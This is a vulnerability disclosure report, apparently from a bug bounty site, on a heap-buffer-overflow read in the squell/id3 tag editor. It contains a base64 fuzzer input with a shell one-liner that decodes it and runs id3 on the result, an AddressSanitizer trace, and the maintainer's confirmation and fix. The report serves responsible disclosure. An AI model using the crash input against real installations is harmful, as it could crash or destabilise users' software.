Heap-based Buffer Overflow in squell/id3

Valid

Reported on

Jun 19th 2021


✍️ Description

While testing id3 built from commit 0de713 with Clang 13 (+ASan) on Ubuntu 20.04.2, we discovered a POC which triggers a heap-buffer-overflow in tag::unbinarize. This particular flaw was discovered with the help of honggfuzz.

🕵️‍♂️ Proof of Concept

echo "SUQzAgAAAAACc1RYWAAAAgAAUE9QAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" | base64 -d > /tmp/file.fuzz && ./id -v -u /tmp/file.fuzz

The above POC produces this ASan stack trace:

==1098918==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x613000000378 at pc 0x000000539363 bp 0x7ffe3885dbd0 sp 0x7ffe3885dbc8
READ of size 1 at 0x613000000378 thread T0
    #0 0x539362 in tag::unbinarize(_ID3FRAME*, charset::conv<wchar_t>&) (/root/id3/id3+0x539362)
    #1 0x529d0b in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const (/root/id3/id3+0x529d0b)
    #2 0x4dfc57 in tag::writer::modify(char const*, stredit::function const&) const (/root/id3/id3+0x4dfc57)
    #3 0x4df344 in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const (/root/id3/id3+0x4df344)
    #4 0x54f84a in tag::write::file::vmodify(char const*, stredit::function const&) const (/root/id3/id3+0x54f84a)
    #5 0x4dfc57 in tag::writer::modify(char const*, stredit::function const&) const (/root/id3/id3+0x4dfc57)
    #6 0x50b579 in fileexp::mass_tag::file(char const*, fileexp::record const&) (/root/id3/id3+0x50b579)
    #7 0x4e31f0 in verbose::file(char const*, fileexp::record const&) (/root/id3/id3+0x4e31f0)
    #8 0x4fb8ee in fileexp::filefind::nested(auto_dir, char*, char*) (/root/id3/id3+0x4fb8ee)
    #9 0x4f9d68 in fileexp::find::glob(char const*, bool) (/root/id3/id3+0x4f9d68)
    #10 0x4d4115 in process_(fileexp::find&, char**, bool) (/root/id3/id3+0x4d4115)
    #11 0x4d852b in main_(int, char**) (/root/id3/id3+0x4d852b)
    #12 0x4dafda in main (/root/id3/id3+0x4dafda)
    #13 0x7fe200c010b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #14 0x421fdd in _start (/root/id3/id3+0x421fdd)

0x613000000378 is located 0 bytes to the right of 376-byte region [0x613000000200,0x613000000378)
allocated by thread T0 here:
    #0 0x49f82d in malloc (/root/id3/id3+0x49f82d)
    #1 0x53d370 in ID3_readf (/root/id3/id3+0x53d370)
    #2 0x52984f in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const (/root/id3/id3+0x52984f)
    #3 0x4dfc57 in tag::writer::modify(char const*, stredit::function const&) const (/root/id3/id3+0x4dfc57)
    #4 0x4df344 in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const (/root/id3/id3+0x4df344)
    #5 0x54f84a in tag::write::file::vmodify(char const*, stredit::function const&) const (/root/id3/id3+0x54f84a)
    #6 0x4dfc57 in tag::writer::modify(char const*, stredit::function const&) const (/root/id3/id3+0x4dfc57)
    #7 0x50b579 in fileexp::mass_tag::file(char const*, fileexp::record const&) (/root/id3/id3+0x50b579)
    #8 0x4e31f0 in verbose::file(char const*, fileexp::record const&) (/root/id3/id3+0x4e31f0)
    #9 0x4fb8ee in fileexp::filefind::nested(auto_dir, char*, char*) (/root/id3/id3+0x4fb8ee)
    #10 0x4f9d68 in fileexp::find::glob(char const*, bool) (/root/id3/id3+0x4f9d68)
    #11 0x4d4115 in process_(fileexp::find&, char**, bool) (/root/id3/id3+0x4d4115)
    #12 0x4d852b in main_(int, char**) (/root/id3/id3+0x4d852b)
    #13 0x4dafda in main (/root/id3/id3+0x4dafda)
    #14 0x7fe200c010b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/id3/id3+0x539362) in tag::unbinarize(_ID3FRAME*, charset::conv<wchar_t>&)

💥 Impact

This vulnerability is capable of corrupting data, crashing the app and other unintended consequences of reading past the buffer.

We have contacted a member of the squell/id3 team and are waiting to hear back a year ago
Marc
a year ago

Maintainer


Thanks again :) Caused by an integer overflow that allows reading beyond allocated memory; severity is confined to "i'll crash the program". Deeper cause here is that the code forgets to check if the frame size makes sense for counter frames with descriptors.

Marc R. Schoolderman validated this vulnerability a year ago
geeknik has been awarded the disclosure bounty
The fix bounty is now up for grabs
Marc R. Schoolderman confirmed that a fix has been merged on c9847a a year ago
Marc R. Schoolderman has been awarded the fix bounty
to join this conversation